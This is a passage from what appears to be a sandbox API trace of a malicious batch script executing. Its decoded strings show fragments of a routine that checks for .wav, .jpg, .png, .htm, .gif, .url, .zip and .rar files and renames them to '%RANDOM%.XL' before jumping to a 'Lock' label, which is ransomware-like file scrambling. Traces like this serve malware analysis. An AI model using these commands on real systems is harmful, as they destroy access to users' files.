lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1154 [0040.276] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.wav goto l2\r\n") returned 28 [0040.276] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.276] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1154 [0040.276] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.276] GetFileType (hFile=0x74) returned 0x1 [0040.276] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1154 [0040.277] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.277] SetFilePointer (in: hFile=0x74, lDistanceToMove=4464, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1170 [0040.277] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.jpg goto l2\r\n") returned 28 [0040.277] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.277] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1170 [0040.277] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.277] GetFileType (hFile=0x74) returned 0x1 [0040.277] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1170 [0040.277] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.277] SetFilePointer (in: hFile=0x74, lDistanceToMove=4492, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x118c [0040.277] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.png goto l2\r\n") returned 28 [0040.277] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.277] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x118c [0040.277] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.277] GetFileType (hFile=0x74) returned 0x1 [0040.277] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x118c [0040.277] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.277] SetFilePointer (in: hFile=0x74, lDistanceToMove=4520, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11a8 [0040.278] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.htm goto l2\r\n") returned 28 [0040.278] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.278] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11a8 [0040.278] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.278] GetFileType (hFile=0x74) returned 0x1 [0040.278] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11a8 [0040.278] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.278] SetFilePointer (in: hFile=0x74, lDistanceToMove=4549, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11c5 [0040.278] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.html goto l2\r\n") returned 29 [0040.278] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.278] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11c5 [0040.278] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.278] GetFileType (hFile=0x74) returned 0x1 [0040.278] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11c5 [0040.278] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.278] SetFilePointer (in: hFile=0x74, lDistanceToMove=4555, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11cb [0040.278] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":gif\r\n EXIST *.html goto l2\r\n") returned 6 [0040.278] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.279] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11cb [0040.279] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.279] GetFileType (hFile=0x74) returned 0x1 [0040.279] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11cb [0040.279] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.279] SetFilePointer (in: hFile=0x74, lDistanceToMove=4581, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11e5 [0040.279] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.gif %RANDOM%.XL\r\n2\r\n") returned 26 [0040.279] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.279] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11e5 [0040.279] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.279] GetFileType (hFile=0x74) returned 0x1 [0040.279] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11e5 [0040.279] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.279] SetFilePointer (in: hFile=0x74, lDistanceToMove=4583, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11e7 [0040.279] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.gif %RANDOM%.XL\r\n") returned 2 [0040.279] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.279] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11e7 [0040.279] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.280] GetFileType (hFile=0x74) returned 0x1 [0040.280] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11e7 [0040.280] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.280] SetFilePointer (in: hFile=0x74, lDistanceToMove=4594, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11f2 [0040.280] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nf %RANDOM%.XL\r\n") returned 11 [0040.280] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.280] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11f2 [0040.280] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.280] GetFileType (hFile=0x74) returned 0x1 [0040.280] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11f2 [0040.280] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.280] SetFilePointer (in: hFile=0x74, lDistanceToMove=4600, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11f8 [0040.280] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":url\r\nock\r\n") returned 6 [0040.280] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.280] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11f8 [0040.280] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.280] GetFileType (hFile=0x74) returned 0x1 [0040.280] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11f8 [0040.281] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.281] SetFilePointer (in: hFile=0x74, lDistanceToMove=4626, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1212 [0040.281] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.url %RANDOM%.XL\r\n") returned 26 [0040.281] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.281] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1212 [0040.281] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.281] GetFileType (hFile=0x74) returned 0x1 [0040.281] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1212 [0040.281] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.281] SetFilePointer (in: hFile=0x74, lDistanceToMove=4628, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1214 [0040.281] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.url %RANDOM%.XL\r\n") returned 2 [0040.281] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.281] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1214 [0040.281] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.281] GetFileType (hFile=0x74) returned 0x1 [0040.281] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1214 [0040.281] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.281] SetFilePointer (in: hFile=0x74, lDistanceToMove=4639, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x121f [0040.281] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nl %RANDOM%.XL\r\n") returned 11 [0040.282] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.282] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x121f [0040.282] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.282] GetFileType (hFile=0x74) returned 0x1 [0040.282] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x121f [0040.282] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.282] SetFilePointer (in: hFile=0x74, lDistanceToMove=4645, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1225 [0040.282] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":zip\r\nock\r\n") returned 6 [0040.282] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.282] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1225 [0040.282] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.282] GetFileType (hFile=0x74) returned 0x1 [0040.282] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1225 [0040.282] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.282] SetFilePointer (in: hFile=0x74, lDistanceToMove=4647, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1227 [0040.282] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nip\r\n") returned 2 [0040.282] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.282] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1227 [0040.283] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.283] GetFileType (hFile=0x74) returned 0x1 [0040.283] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1227 [0040.283] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.283] SetFilePointer (in: hFile=0x74, lDistanceToMove=4673, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1241 [0040.283] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.zip %RANDOM%.XL\r\n") returned 26 [0040.283] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.283] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1241 [0040.283] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.283] GetFileType (hFile=0x74) returned 0x1 [0040.283] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1241 [0040.283] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.283] SetFilePointer (in: hFile=0x74, lDistanceToMove=4684, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x124c [0040.283] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\np %RANDOM%.XL\r\n") returned 11 [0040.283] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.283] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x124c [0040.283] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.283] GetFileType (hFile=0x74) returned 0x1 [0040.283] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x124c [0040.284] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.284] SetFilePointer (in: hFile=0x74, lDistanceToMove=4686, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x124e [0040.284] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0040.284] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.284] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x124e [0040.284] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.284] GetFileType (hFile=0x74) returned 0x1 [0040.284] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x124e [0040.284] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.284] SetFilePointer (in: hFile=0x74, lDistanceToMove=4692, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1254 [0040.284] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":rar\r\nock\r\n") returned 6 [0040.284] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.284] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1254 [0040.284] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.284] GetFileType (hFile=0x74) returned 0x1 [0040.284] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1254 [0040.284] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.285] SetFilePointer (in: hFile=0x74, lDistanceToMove=4694, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1256 [0040.285] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nar\r\n") returned 2 [0040.285] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.285] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1256 [0040.285] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.285] GetFileType (hFile=0x74) returned 0x1 [0040.285] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1256 [0040.285] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.286] SetFilePointer (in: hFile=0x74, lDistanceToMove=4720, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1270 [0040.286] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.rar %RANDOM%.XL\r\n") returned 26 [0040.286] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.286] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1270 [0040.286] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.286] GetFileType (hFile=0x74) returned 0x1 [0040.286] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1270 [0040.286] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.286] SetFilePointer (in: hFile=0x74, lDistanceToMove=4722, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1272 [0040.286] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.rar %RANDOM%.XL\r\n") returned 2 [0040.286] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.286] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1272 [0040.286] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.286] GetFileType (hFile=0x74) returned 0x1 [0040.286] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1272 [0040.286] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.286] SetFilePointer (in: hFile=0x74, lDistanceToMove=4733, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x127d [0040.286] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nr %RANDOM%.XL\r\n") returned 11 [0040.287] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.287] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x127d [0040.287] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.287] GetFileType (hFile=0x74) returned 0x1 [0040.287] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x127d [0040.287] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.287] SetFilePointer (in: hFile=0x74, lDistanceToMove=4735, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 